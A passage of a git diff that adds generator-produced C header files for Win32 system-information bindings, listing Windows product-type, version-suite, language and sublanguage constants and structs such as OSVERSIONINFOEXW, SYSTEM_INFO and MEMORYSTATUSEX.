PRODUCT_ENTERPRISE_S_N_EVALUATION 0x82 +#define PRODUCT_HOLOGRAPHIC 0x87 +#define PRODUCT_HOLOGRAPHIC_BUSINESS 0x88 +#define PRODUCT_PRO_SINGLE_LANGUAGE 0x8a +#define PRODUCT_PRO_CHINA 0x8b +#define PRODUCT_ENTERPRISE_SUBSCRIPTION 0x8c +#define PRODUCT_ENTERPRISE_SUBSCRIPTION_N 0x8d +#define PRODUCT_DATACENTER_NANO_SERVER 0x8f +#define PRODUCT_STANDARD_NANO_SERVER 0x90 +#define PRODUCT_DATACENTER_A_SERVER_CORE 0x91 +#define PRODUCT_STANDARD_A_SERVER_CORE 0x92 +#define PRODUCT_DATACENTER_WS_SERVER_CORE 0x93 +#define PRODUCT_STANDARD_WS_SERVER_CORE 0x94 +#define PRODUCT_UTILITY_VM 0x95 +#define PRODUCT_DATACENTER_EVALUATION_SERVER_CORE 0x9f +#define PRODUCT_STANDARD_EVALUATION_SERVER_CORE 0xa0 +#define PRODUCT_PRO_WORKSTATION 0xa1 +#define PRODUCT_PRO_WORKSTATION_N 0xa2 +#define PRODUCT_PRO_FOR_EDUCATION 0xa4 +#define PRODUCT_PRO_FOR_EDUCATION_N 0xa5 +#define PRODUCT_AZURE_SERVER_CORE 0xa8 +#define PRODUCT_AZURE_NANO_SERVER 0xa9 +#define PRODUCT_ENTERPRISEG 0xab +#define PRODUCT_ENTERPRISEGN 0xac +#define PRODUCT_SERVERRDSH 0xaf +#define PRODUCT_CLOUD 0xb2 +#define PRODUCT_CLOUDN 0xb3 +#define PRODUCT_HUBOS 0xb4 +#define PRODUCT_ONECOREUPDATEOS 0xb6 +#define PRODUCT_CLOUDE 0xb7 +#define PRODUCT_IOTOS 0xb9 +#define PRODUCT_CLOUDEN 0xba +#define PRODUCT_IOTEDGEOS 0xbb +#define PRODUCT_IOTENTERPRISE 0xbc +#define PRODUCT_LITE 0xbd +#define PRODUCT_IOTENTERPRISES 0xbf +#define PRODUCT_XBOX_SYSTEMOS 0xc0 +#define PRODUCT_XBOX_GAMEOS 0xc2 +#define PRODUCT_XBOX_ERAOS 0xc3 +#define PRODUCT_XBOX_DURANGOHOSTOS 0xc4 +#define PRODUCT_XBOX_SCARLETTHOSTOS 0xc5 +#define PRODUCT_XBOX_KEYSTONE 0xc6 +#define PRODUCT_AZURE_SERVER_CLOUDHOST 0xc7 +#define PRODUCT_AZURE_SERVER_CLOUDMOS 0xc8 +#define PRODUCT_CLOUDEDITIONN 0xca +#define PRODUCT_CLOUDEDITION 0xcb +#define PRODUCT_VALIDATION 0xcc +#define PRODUCT_IOTENTERPRISESK 0xcd +#define PRODUCT_IOTENTERPRISEK 0xce +#define PRODUCT_IOTENTERPRISESEVAL 0xcf +#define PRODUCT_AZURE_SERVER_AGENTBRIDGE 0xd0 +#define PRODUCT_AZURE_SERVER_NANOHOST 0xd1 +#define PRODUCT_WNC 0xd2 +#define PRODUCT_AZURESTACKHCI_SERVER_CORE 0x196 +#define PRODUCT_DATACENTER_SERVER_AZURE_EDITION 0x197 +#define PRODUCT_DATACENTER_SERVER_CORE_AZURE_EDITION 0x198 +#define PRODUCT_DATACENTER_WS_SERVER_CORE_AZURE_EDITION 0x199 +#define PRODUCT_UNLICENSED 0xabcdabcd +#define CpuSetInformation 0 + +typedef struct _SYSTEM_POOL_ZEROING_INFORMATION { + BOOL PoolZeroingSupportPresent; +} SYSTEM_POOL_ZEROING_INFORMATION; + +typedef struct _OSVERSIONINFOW { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned short szCSDVersion[128]; +} OSVERSIONINFOW; + +typedef struct _SYSTEM_CPU_SET_INFORMATION { + unsigned int Size; + void* Type; + void* Anonymous; +} SYSTEM_CPU_SET_INFORMATION; + +typedef struct _CACHE_DESCRIPTOR { + unsigned char Level; + unsigned char Associativity; + unsigned short LineSize; + unsigned int Size; + void* Type; +} CACHE_DESCRIPTOR; + +typedef struct _GROUP_AFFINITY64 { + unsigned long long Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY64; + +typedef struct _MEMORYSTATUS { + unsigned int dwLength; + unsigned int dwMemoryLoad; + unsigned long long dwTotalPhys; + unsigned long long dwAvailPhys; + unsigned long long dwTotalPageFile; + unsigned long long dwAvailPageFile; + unsigned long long dwTotalVirtual; + unsigned long long dwAvailVirtual; +} MEMORYSTATUS; + +typedef struct _GROUP_AFFINITY32 { + unsigned int Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY32; + +typedef struct _SYSTEM_INFO { + void* Anonymous; + unsigned int dwPageSize; + void* lpMinimumApplicationAddress; + void* lpMaximumApplicationAddress; + unsigned long long dwActiveProcessorMask; + unsigned int dwNumberOfProcessors; + unsigned int dwProcessorType; + unsigned int dwAllocationGranularity; + unsigned short wProcessorLevel; + unsigned short wProcessorRevision; +} SYSTEM_INFO; + +typedef struct _PROCESSOR_RELATIONSHIP { + unsigned char Flags; + unsigned char EfficiencyClass; + unsigned char Reserved[20]; + unsigned short GroupCount; + void* GroupMask[1]; +} PROCESSOR_RELATIONSHIP; + +typedef struct _CACHE_RELATIONSHIP { + unsigned char Level; + unsigned char Associativity; + unsigned short LineSize; + unsigned int CacheSize; + void* Type; + unsigned char Reserved[18]; + unsigned short GroupCount; + void* Anonymous; +} CACHE_RELATIONSHIP; + +typedef struct _GROUP_RELATIONSHIP { + unsigned short MaximumGroupCount; + unsigned short ActiveGroupCount; + unsigned char Reserved[20]; + void* GroupInfo[1]; +} GROUP_RELATIONSHIP; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + unsigned long long ProcessorMask; + void* Relationship; + void* Anonymous; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +typedef struct _OSVERSIONINFOA { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned char szCSDVersion[128]; +} OSVERSIONINFOA; + +typedef struct _GROUP_AFFINITY { + unsigned long long Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY; + +typedef struct _MEMORYSTATUSEX { + unsigned int dwLength; + unsigned int dwMemoryLoad; + unsigned long long ullTotalPhys; + unsigned long long ullAvailPhys; + unsigned long long ullTotalPageFile; + unsigned long long ullAvailPageFile; + unsigned long long ullTotalVirtual; + unsigned long long ullAvailVirtual; + unsigned long long ullAvailExtendedVirtual; +} MEMORYSTATUSEX; + +typedef struct _SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION { + unsigned int _bitfield; +} SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION { + unsigned long long CycleTime; +} SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION; + +typedef struct _OSVERSIONINFOEXA { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned char szCSDVersion[128]; + unsigned short wServicePackMajor; + unsigned short wServicePackMinor; + unsigned short wSuiteMask; + unsigned char wProductType; + unsigned char wReserved; +} OSVERSIONINFOEXA; + +typedef struct _NUMA_NODE_RELATIONSHIP { + unsigned int NodeNumber; + unsigned char Reserved[18]; + unsigned short GroupCount; + void* Anonymous; +} NUMA_NODE_RELATIONSHIP; + +typedef struct _PROCESSOR_GROUP_INFO { + unsigned char MaximumProcessorCount; + unsigned char ActiveProcessorCount; + unsigned char Reserved[38]; + unsigned long long ActiveProcessorMask; +} PROCESSOR_GROUP_INFO; + +typedef struct _OSVERSIONINFOEXW { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned short szCSDVersion[128]; + unsigned short wServicePackMajor; + unsigned short wServicePackMinor; + unsigned short wSuiteMask; + unsigned char wProductType; + unsigned char wReserved; +} OSVERSIONINFOEXW; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX { + void* Relationship; + unsigned int Size; + void* Anonymous; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX; + diff --git a/stdlib/win32/systemservices.h b/stdlib/win32/systemservices.h new file mode 100644 index 0000000..8399e42 --- /dev/null +++ b/stdlib/win32/systemservices.h @@ -0,0 +1,3681 @@ +// Generated by entc-win32gen from `Windows.Win32.System.SystemServices`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define _MM_HINT_T0 0x1 +#define _MM_HINT_T1 0x2 +#define _MM_HINT_T2 0x3 +#define _MM_HINT_NTA 0x0 +#define ANYSIZE_ARRAY 0x1 +#define MEMORY_ALLOCATION_ALIGNMENT 0x10 +#define X86_CACHE_ALIGNMENT_SIZE 0x40 +#define ARM_CACHE_ALIGNMENT_SIZE 0x80 +#define SYSTEM_CACHE_ALIGNMENT_SIZE 0x40 +#define PRAGMA_DEPRECATED_DDK 0x1 +#define UCSCHAR_INVALID_CHARACTER 0xffffffff +#define MIN_UCSCHAR 0x0 +#define MAX_UCSCHAR 0x10ffff +#define MAXIMUM_PROC_PER_GROUP 0x40 +#define MAXIMUM_PROCESSORS 0x40 +#define APPLICATION_ERROR_MASK 0x20000000 +#define ERROR_SEVERITY_SUCCESS 0x0 +#define ERROR_SEVERITY_INFORMATIONAL 0x40000000 +#define ERROR_SEVERITY_WARNING 0x80000000 +#define ERROR_SEVERITY_ERROR 0xc0000000 +#define MAXLONGLONG 0x7fffffffffffffff +#define UNICODE_STRING_MAX_CHARS 0x7fff +#define MINCHAR 0x80 +#define MAXCHAR 0x7f +#define MINSHORT 0x8000 +#define MAXSHORT 0x7fff +#define MINLONG 0x80000000 +#define MAXLONG 0x7fffffff +#define MAXBYTE 0xff +#define MAXWORD 0xffff +#define MAXDWORD 0xffffffff +#define ENCLAVE_SHORT_ID_LENGTH 0x10 +#define ENCLAVE_LONG_ID_LENGTH 0x20 +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x1 +#define VER_SUITE_ENTERPRISE 0x2 +#define VER_SUITE_BACKOFFICE 0x4 +#define VER_SUITE_COMMUNICATIONS 0x8 +#define VER_SUITE_TERMINAL 0x10 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x20 +#define VER_SUITE_EMBEDDEDNT 0x40 +#define VER_SUITE_DATACENTER 0x80 +#define VER_SUITE_SINGLEUSERTS 0x100 +#define VER_SUITE_PERSONAL 0x200 +#define VER_SUITE_BLADE 0x400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x800 +#define VER_SUITE_SECURITY_APPLIANCE 0x1000 +#define VER_SUITE_STORAGE_SERVER 0x2000 +#define VER_SUITE_COMPUTE_SERVER 0x4000 +#define VER_SUITE_WH_SERVER 0x8000 +#define VER_SUITE_MULTIUSERTS 0x20000 +#define LANG_NEUTRAL 0x0 +#define LANG_INVARIANT 0x7f +#define LANG_AFRIKAANS 0x36 +#define LANG_ALBANIAN 0x1c +#define LANG_ALSATIAN 0x84 +#define LANG_AMHARIC 0x5e +#define LANG_ARABIC 0x1 +#define LANG_ARMENIAN 0x2b +#define LANG_ASSAMESE 0x4d +#define LANG_AZERI 0x2c +#define LANG_AZERBAIJANI 0x2c +#define LANG_BANGLA 0x45 +#define LANG_BASHKIR 0x6d +#define LANG_BASQUE 0x2d +#define LANG_BELARUSIAN 0x23 +#define LANG_BENGALI 0x45 +#define LANG_BRETON 0x7e +#define LANG_BOSNIAN 0x1a +#define LANG_BOSNIAN_NEUTRAL 0x781a +#define LANG_BULGARIAN 0x2 +#define LANG_CATALAN 0x3 +#define LANG_CENTRAL_KURDISH 0x92 +#define LANG_CHEROKEE 0x5c +#define LANG_CHINESE 0x4 +#define LANG_CHINESE_SIMPLIFIED 0x4 +#define LANG_CHINESE_TRADITIONAL 0x7c04 +#define LANG_CORSICAN 0x83 +#define LANG_CROATIAN 0x1a +#define LANG_CZECH 0x5 +#define LANG_DANISH 0x6 +#define LANG_DARI 0x8c +#define LANG_DIVEHI 0x65 +#define LANG_DUTCH 0x13 +#define LANG_ENGLISH 0x9 +#define LANG_ESTONIAN 0x25 +#define LANG_FAEROESE 0x38 +#define LANG_FARSI 0x29 +#define LANG_FILIPINO 0x64 +#define LANG_FINNISH 0xb +#define LANG_FRENCH 0xc +#define LANG_FRISIAN 0x62 +#define LANG_FULAH 0x67 +#define LANG_GALICIAN 0x56 +#define LANG_GEORGIAN 0x37 +#define LANG_GERMAN 0x7 +#define LANG_GREEK 0x8 +#define LANG_GREENLANDIC 0x6f +#define LANG_GUJARATI 0x47 +#define LANG_HAUSA 0x68 +#define LANG_HAWAIIAN 0x75 +#define LANG_HEBREW 0xd +#define LANG_HINDI 0x39 +#define LANG_HUNGARIAN 0xe +#define LANG_ICELANDIC 0xf +#define LANG_IGBO 0x70 +#define LANG_INDONESIAN 0x21 +#define LANG_INUKTITUT 0x5d +#define LANG_IRISH 0x3c +#define LANG_ITALIAN 0x10 +#define LANG_JAPANESE 0x11 +#define LANG_KANNADA 0x4b +#define LANG_KASHMIRI 0x60 +#define LANG_KAZAK 0x3f +#define LANG_KHMER 0x53 +#define LANG_KICHE 0x86 +#define LANG_KINYARWANDA 0x87 +#define LANG_KONKANI 0x57 +#define LANG_KOREAN 0x12 +#define LANG_KYRGYZ 0x40 +#define LANG_LAO 0x54 +#define LANG_LATVIAN 0x26 +#define LANG_LITHUANIAN 0x27 +#define LANG_LOWER_SORBIAN 0x2e +#define LANG_LUXEMBOURGISH 0x6e +#define LANG_MACEDONIAN 0x2f +#define LANG_MALAY 0x3e +#define LANG_MALAYALAM 0x4c +#define LANG_MALTESE 0x3a +#define LANG_MANIPURI 0x58 +#define LANG_MAORI 0x81 +#define LANG_MAPUDUNGUN 0x7a +#define LANG_MARATHI 0x4e +#define LANG_MOHAWK 0x7c +#define LANG_MONGOLIAN 0x50 +#define LANG_NEPALI 0x61 +#define LANG_NORWEGIAN 0x14 +#define LANG_OCCITAN 0x82 +#define LANG_ODIA 0x48 +#define LANG_ORIYA 0x48 +#define LANG_PASHTO 0x63 +#define LANG_PERSIAN 0x29 +#define LANG_POLISH 0x15 +#define LANG_PORTUGUESE 0x16 +#define LANG_PULAR 0x67 +#define LANG_PUNJABI 0x46 +#define LANG_QUECHUA 0x6b +#define LANG_ROMANIAN 0x18 +#define LANG_ROMANSH 0x17 +#define LANG_RUSSIAN 0x19 +#define LANG_SAKHA 0x85 +#define LANG_SAMI 0x3b +#define LANG_SANSKRIT 0x4f +#define LANG_SCOTTISH_GAELIC 0x91 +#define LANG_SERBIAN 0x1a +#define LANG_SERBIAN_NEUTRAL 0x7c1a +#define LANG_SINDHI 0x59 +#define LANG_SINHALESE 0x5b +#define LANG_SLOVAK 0x1b +#define LANG_SLOVENIAN 0x24 +#define LANG_SOTHO 0x6c +#define LANG_SPANISH 0xa +#define LANG_SWAHILI 0x41 +#define LANG_SWEDISH 0x1d +#define LANG_SYRIAC 0x5a +#define LANG_TAJIK 0x28 +#define LANG_TAMAZIGHT 0x5f +#define LANG_TAMIL 0x49 +#define LANG_TATAR 0x44 +#define LANG_TELUGU 0x4a +#define LANG_THAI 0x1e +#define LANG_TIBETAN 0x51 +#define LANG_TIGRIGNA 0x73 +#define LANG_TIGRINYA 0x73 +#define LANG_TSWANA 0x32 +#define LANG_TURKISH 0x1f +#define LANG_TURKMEN 0x42 +#define LANG_UIGHUR 0x80 +#define LANG_UKRAINIAN 0x22 +#define LANG_UPPER_SORBIAN 0x2e +#define LANG_URDU 0x20 +#define LANG_UZBEK 0x43 +#define LANG_VALENCIAN 0x3 +#define LANG_VIETNAMESE 0x2a +#define LANG_WELSH 0x52 +#define LANG_WOLOF 0x88 +#define LANG_XHOSA 0x34 +#define LANG_YAKUT 0x85 +#define LANG_YI 0x78 +#define LANG_YORUBA 0x6a +#define LANG_ZULU 0x35 +#define SUBLANG_NEUTRAL 0x0 +#define SUBLANG_DEFAULT 0x1 +#define SUBLANG_SYS_DEFAULT 0x2 +#define SUBLANG_CUSTOM_DEFAULT 0x3 +#define SUBLANG_CUSTOM_UNSPECIFIED 0x4 +#define SUBLANG_UI_CUSTOM_DEFAULT 0x5 +#define SUBLANG_AFRIKAANS_SOUTH_AFRICA 0x1 +#define SUBLANG_ALBANIAN_ALBANIA 0x1 +#define SUBLANG_ALSATIAN_FRANCE 0x1 +#define SUBLANG_AMHARIC_ETHIOPIA 0x1 +#define SUBLANG_ARABIC_SAUDI_ARABIA 0x1 +#define SUBLANG_ARABIC_IRAQ 0x2 +#define SUBLANG_ARABIC_EGYPT 0x3 +#define SUBLANG_ARABIC_LIBYA 0x4 +#define SUBLANG_ARABIC_ALGERIA 0x5 +#define SUBLANG_ARABIC_MOROCCO 0x6 +#define SUBLANG_ARABIC_TUNISIA 0x7 +#define SUBLANG_ARABIC_OMAN 0x8 +#define SUBLANG_ARABIC_YEMEN 0x9 +#define SUBLANG_ARABIC_SYRIA 0xa +#define SUBLANG_ARABIC_JORDAN 0xb +#define SUBLANG_ARABIC_LEBANON 0xc +#define SUBLANG_ARABIC_KUWAIT 0xd +#define SUBLANG_ARABIC_UAE 0xe +#define SUBLANG_ARABIC_BAHRAIN 0xf +#define SUBLANG_ARABIC_QATAR 0x10 +#define SUBLANG_ARMENIAN_ARMENIA 0x1 +#define SUBLANG_ASSAMESE_INDIA 0x1 +#define SUBLANG_AZERI_LATIN 0x1 +#define SUBLANG_AZERI_CYRILLIC 0x2 +#define SUBLANG_AZERBAIJANI_AZERBAIJAN_LATIN 0x1 +#define SUBLANG_AZERBAIJANI_AZERBAIJAN_CYRILLIC 0x2 +#define SUBLANG_BANGLA_INDIA 0x1 +#define SUBLANG_BANGLA_BANGLADESH 0x2 +#define SUBLANG_BASHKIR_RUSSIA 0x1 +#define SUBLANG_BASQUE_BASQUE 0x1 +#define SUBLANG_BELARUSIAN_BELARUS 0x1 +#define SUBLANG_BENGALI_INDIA 0x1 +#define SUBLANG_BENGALI_BANGLADESH 0x2 +#define SUBLANG_BOSNIAN_BOSNIA_HERZEGOVINA_LATIN 0x5 +#define SUBLANG_BOSNIAN_BOSNIA_HERZEGOVINA_CYRILLIC 0x8 +#define SUBLANG_BRETON_FRANCE 0x1 +#define SUBLANG_BULGARIAN_BULGARIA 0x1 +#define SUBLANG_CATALAN_CATALAN 0x1 +#define SUBLANG_CENTRAL_KURDISH_IRAQ 0x1 +#define SUBLANG_CHEROKEE_CHEROKEE 0x1 +#define SUBLANG_CHINESE_TRADITIONAL 0x1 +#define SUBLANG_CHINESE_SIMPLIFIED 0x2 +#define SUBLANG_CHINESE_HONGKONG 0x3 +#define SUBLANG_CHINESE_SINGAPORE 0x4 +#define SUBLANG_CHINESE_MACAU 0x5 +#define SUBLANG_CORSICAN_FRANCE 0x1 +#define SUBLANG_CZECH_CZECH_REPUBLIC 0x1 +#define SUBLANG_CROATIAN_CROATIA 0x1 +#define SUBLANG_CROATIAN_BOSNIA_HERZEGOVINA_LATIN 0x4 +#define SUBLANG_DANISH_DENMARK 0x1 +#define SUBLANG_DARI_AFGHANISTAN 0x1 +#define SUBLANG_DIVEHI_MALDIVES 0x1 +#define SUBLANG_DUTCH 0x1 +#define SUBLANG_DUTCH_BELGIAN 0x2 +#define SUBLANG_ENGLISH_US 0x1 +#define SUBLANG_ENGLISH_UK 0x2 +#define SUBLANG_ENGLISH_AUS 0x3 +#define SUBLANG_ENGLISH_CAN 0x4 +#define SUBLANG_ENGLISH_NZ 0x5 +#define SUBLANG_ENGLISH_EIRE 0x6 +#define SUBLANG_ENGLISH_SOUTH_AFRICA 0x7 +#define SUBLANG_ENGLISH_JAMAICA 0x8 +#define SUBLANG_ENGLISH_CARIBBEAN 0x9 +#define SUBLANG_ENGLISH_BELIZE 0xa +#define SUBLANG_ENGLISH_TRINIDAD 0xb +#define SUBLANG_ENGLISH_ZIMBABWE 0xc +#define SUBLANG_ENGLISH_PHILIPPINES 0xd +#define SUBLANG_ENGLISH_INDIA 0x10 +#define SUBLANG_ENGLISH_MALAYSIA 0x11 +#define SUBLANG_ENGLISH_SINGAPORE 0x12 +#define SUBLANG_ESTONIAN_ESTONIA 0x1 +#define SUBLANG_FAEROESE_FAROE_ISLANDS 0x1 +#define SUBLANG_FILIPINO_PHILIPPINES 0x1 +#define SUBLANG_FINNISH_FINLAND 0x1 +#define SUBLANG_FRENCH 0x1 +#define SUBLANG_FRENCH_BELGIAN 0x2 +#define SUBLANG_FRENCH_CANADIAN 0x3 +#define SUBLANG_FRENCH_SWISS 0x4 +#define SUBLANG_FRENCH_LUXEMBOURG 0x5 +#define SUBLANG_FRENCH_MONACO 0x6 +#define SUBLANG_FRISIAN_NETHERLANDS 0x1 +#define SUBLANG_FULAH_SENEGAL 0x2 +#define SUBLANG_GALICIAN_GALICIAN 0x1 +#define SUBLANG_GEORGIAN_GEORGIA 0x1 +#define SUBLANG_GERMAN 0x1 +#define SUBLANG_GERMAN_SWISS 0x2 +#define SUBLANG_GERMAN_AUSTRIAN 0x3 +#define SUBLANG_GERMAN_LUXEMBOURG 0x4 +#define SUBLANG_GERMAN_LIECHTENSTEIN 0x5 +#define SUBLANG_GREEK_GREECE 0x1 +#define SUBLANG_GREENLANDIC_GREENLAND 0x1 +#define SUBLANG_GUJARATI_INDIA 0x1 +#define SUBLANG_HAUSA_NIGERIA_LATIN 0x1 +#define SUBLANG_HAWAIIAN_US 0x1 +#define SUBLANG_HEBREW_ISRAEL 0x1 +#define SUBLANG_HINDI_INDIA 0x1 +#define SUBLANG_HUNGARIAN_HUNGARY 0x1 +#define SUBLANG_ICELANDIC_ICELAND 0x1 +#define SUBLANG_IGBO_NIGERIA 0x1 +#define SUBLANG_INDONESIAN_INDONESIA 0x1 +#define SUBLANG_INUKTITUT_CANADA 0x1 +#define SUBLANG_INUKTITUT_CANADA_LATIN 0x2 +#define SUBLANG_IRISH_IRELAND 0x2 +#define SUBLANG_ITALIAN 0x1 +#define SUBLANG_ITALIAN_SWISS 0x2 +#define SUBLANG_JAPANESE_JAPAN 0x1 +#define SUBLANG_KANNADA_INDIA 0x1 +#define SUBLANG_KASHMIRI_SASIA 0x2 +#define SUBLANG_KASHMIRI_INDIA 0x2 +#define SUBLANG_KAZAK_KAZAKHSTAN 0x1 +#define SUBLANG_KHMER_CAMBODIA 0x1 +#define SUBLANG_KICHE_GUATEMALA 0x1 +#define SUBLANG_KINYARWANDA_RWANDA 0x1 +#define SUBLANG_KONKANI_INDIA 0x1 +#define SUBLANG_KOREAN 0x1 +#define SUBLANG_KYRGYZ_KYRGYZSTAN 0x1 +#define SUBLANG_LAO_LAO 0x1 +#define SUBLANG_LATVIAN_LATVIA 0x1 +#define SUBLANG_LITHUANIAN 0x1 +#define SUBLANG_LOWER_SORBIAN_GERMANY 0x2 +#define SUBLANG_LUXEMBOURGISH_LUXEMBOURG 0x1 +#define SUBLANG_MACEDONIAN_MACEDONIA 0x1 +#define SUBLANG_MALAY_MALAYSIA 0x1 +#define SUBLANG_MALAY_BRUNEI_DARUSSALAM 0x2 +#define SUBLANG_MALAYALAM_INDIA 0x1 +#define SUBLANG_MALTESE_MALTA 0x1 +#define SUBLANG_MAORI_NEW_ZEALAND 0x1 +#define SUBLANG_MAPUDUNGUN_CHILE 0x1 +#define SUBLANG_MARATHI_INDIA 0x1 +#define SUBLANG_MOHAWK_MOHAWK 0x1 +#define SUBLANG_MONGOLIAN_CYRILLIC_MONGOLIA 0x1 +#define SUBLANG_MONGOLIAN_PRC 0x2 +#define SUBLANG_NEPALI_INDIA 0x2 +#define SUBLANG_NEPALI_NEPAL 0x1 +#define SUBLANG_NORWEGIAN_BOKMAL 0x1 +#define SUBLANG_NORWEGIAN_NYNORSK 0x2 +#define SUBLANG_OCCITAN_FRANCE 0x1 +#define SUBLANG_ODIA_INDIA 0x1 +#define SUBLANG_ORIYA_INDIA 0x1 +#define SUBLANG_PASHTO_AFGHANISTAN 0x1 +#define SUBLANG_PERSIAN_IRAN 0x1 +#define SUBLANG_POLISH_POLAND 0x1 +#define SUBLANG_PORTUGUESE 0x2 +#define SUBLANG_PORTUGUESE_BRAZILIAN 0x1 +#define SUBLANG_PULAR_SENEGAL 0x2 +#define SUBLANG_PUNJABI_INDIA 0x1 +#define SUBLANG_PUNJABI_PAKISTAN 0x2 +#define SUBLANG_QUECHUA_BOLIVIA 0x1 +#define SUBLANG_QUECHUA_ECUADOR 0x2 +#define SUBLANG_QUECHUA_PERU 0x3 +#define SUBLANG_ROMANIAN_ROMANIA 0x1 +#define SUBLANG_ROMANSH_SWITZERLAND 0x1 +#define SUBLANG_RUSSIAN_RUSSIA 0x1 +#define SUBLANG_SAKHA_RUSSIA 0x1 +#define SUBLANG_SAMI_NORTHERN_NORWAY 0x1 +#define SUBLANG_SAMI_NORTHERN_SWEDEN 0x2 +#define SUBLANG_SAMI_NORTHERN_FINLAND 0x3 +#define SUBLANG_SAMI_LULE_NORWAY 0x4 +#define SUBLANG_SAMI_LULE_SWEDEN 0x5 +#define SUBLANG_SAMI_SOUTHERN_NORWAY 0x6 +#define SUBLANG_SAMI_SOUTHERN_SWEDEN 0x7 +#define SUBLANG_SAMI_SKOLT_FINLAND 0x8 +#define SUBLANG_SAMI_INARI_FINLAND 0x9 +#define SUBLANG_SANSKRIT_INDIA 0x1 +#define SUBLANG_SCOTTISH_GAELIC 0x1 +#define SUBLANG_SERBIAN_BOSNIA_HERZEGOVINA_LATIN 0x6 +#define SUBLANG_SERBIAN_BOSNIA_HERZEGOVINA_CYRILLIC 0x7 +#define SUBLANG_SERBIAN_MONTENEGRO_LATIN 0xb +#define SUBLANG_SERBIAN_MONTENEGRO_CYRILLIC 0xc +#define SUBLANG_SERBIAN_SERBIA_LATIN 0x9 +#define SUBLANG_SERBIAN_SERBIA_CYRILLIC 0xa +#define SUBLANG_SERBIAN_CROATIA 0x1 +#define SUBLANG_SERBIAN_LATIN 0x2 +#define SUBLANG_SERBIAN_CYRILLIC 0x3 +#define SUBLANG_SINDHI_INDIA 0x1 +#define SUBLANG_SINDHI_PAKISTAN 0x2 +#define SUBLANG_SINDHI_AFGHANISTAN 0x2 +#define SUBLANG_SINHALESE_SRI_LANKA 0x1 +#define SUBLANG_SOTHO_NORTHERN_SOUTH_AFRICA 0x1 +#define SUBLANG_SLOVAK_SLOVAKIA 0x1 +#define SUBLANG_SLOVENIAN_SLOVENIA 0x1 +#define SUBLANG_SPANISH 0x1 +#define SUBLANG_SPANISH_MEXICAN 0x2 +#define SUBLANG_SPANISH_MODERN 0x3 +#define SUBLANG_SPANISH_GUATEMALA 0x4 +#define SUBLANG_SPANISH_COSTA_RICA 0x5 +#define SUBLANG_SPANISH_PANAMA 0x6 +#define SUBLANG_SPANISH_DOMINICAN_REPUBLIC 0x7 +#define SUBLANG_SPANISH_VENEZUELA 0x8 +#define SUBLANG_SPANISH_COLOMBIA 0x9 +#define SUBLANG_SPANISH_PERU 0xa +#define SUBLANG_SPANISH_ARGENTINA 0xb +#define SUBLANG_SPANISH_ECUADOR 0xc +#define SUBLANG_SPANISH_CHILE 0xd +#define SUBLANG_SPANISH_URUGUAY 0xe +#define SUBLANG_SPANISH_PARAGUAY 0xf +#define SUBLANG_SPANISH_BOLIVIA 0x10 +#define SUBLANG_SPANISH_EL_SALVADOR 0x11 +#define SUBLANG_SPANISH_HONDURAS 0x12 +#define SUBLANG_SPANISH_NICARAGUA 0x13 +#define SUBLANG_SPANISH_PUERTO_RICO 0x14 +#define SUBLANG_SPANISH_US 0x15 +#define SUBLANG_SWAHILI_KENYA 0x1 +#define SUBLANG_SWEDISH 0x1 +#define SUBLANG_SWEDISH_FINLAND 0x2 +#define SUBLANG_SYRIAC_SYRIA 0x1 +#define SUBLANG_TAJIK_TAJIKISTAN 0x1 +#define SUBLANG_TAMAZIGHT_ALGERIA_LATIN 0x2 +#define SUBLANG_TAMAZIGHT_MOROCCO_TIFINAGH 0x4 +#define SUBLANG_TAMIL_INDIA 0x1 +#define SUBLANG_TAMIL_SRI_LANKA 0x2 +#define SUBLANG_TATAR_RUSSIA 0x1 +#define SUBLANG_TELUGU_INDIA 0x1 +#define SUBLANG_THAI_THAILAND 0x1 +#define SUBLANG_TIBETAN_PRC 0x1 +#define SUBLANG_TIGRIGNA_ERITREA 0x2 +#define SUBLANG_TIGRINYA_ERITREA 0x2 +#define SUBLANG_TIGRINYA_ETHIOPIA 0x1 +#define SUBLANG_TSWANA_BOTSWANA 0x2 +#define SUBLANG_TSWANA_SOUTH_AFRICA 0x1 +#define SUBLANG_TURKISH_TURKEY 0x1 +#define SUBLANG_TURKMEN_TURKMENISTAN 0x1 +#define SUBLANG_UIGHUR_PRC 0x1 +#define SUBLANG_UKRAINIAN_UKRAINE 0x1 +#define SUBLANG_UPPER_SORBIAN_GERMANY 0x1 +#define SUBLANG_URDU_PAKISTAN 0x1 +#define SUBLANG_URDU_INDIA 0x2 +#define SUBLANG_UZBEK_LATIN 0x1 +#define SUBLANG_UZBEK_CYRILLIC 0x2 +#define SUBLANG_VALENCIAN_VALENCIA 0x2 +#define SUBLANG_VIETNAMESE_VIETNAM 0x1 +#define SUBLANG_WELSH_UNITED_KINGDOM 0x1 +#define 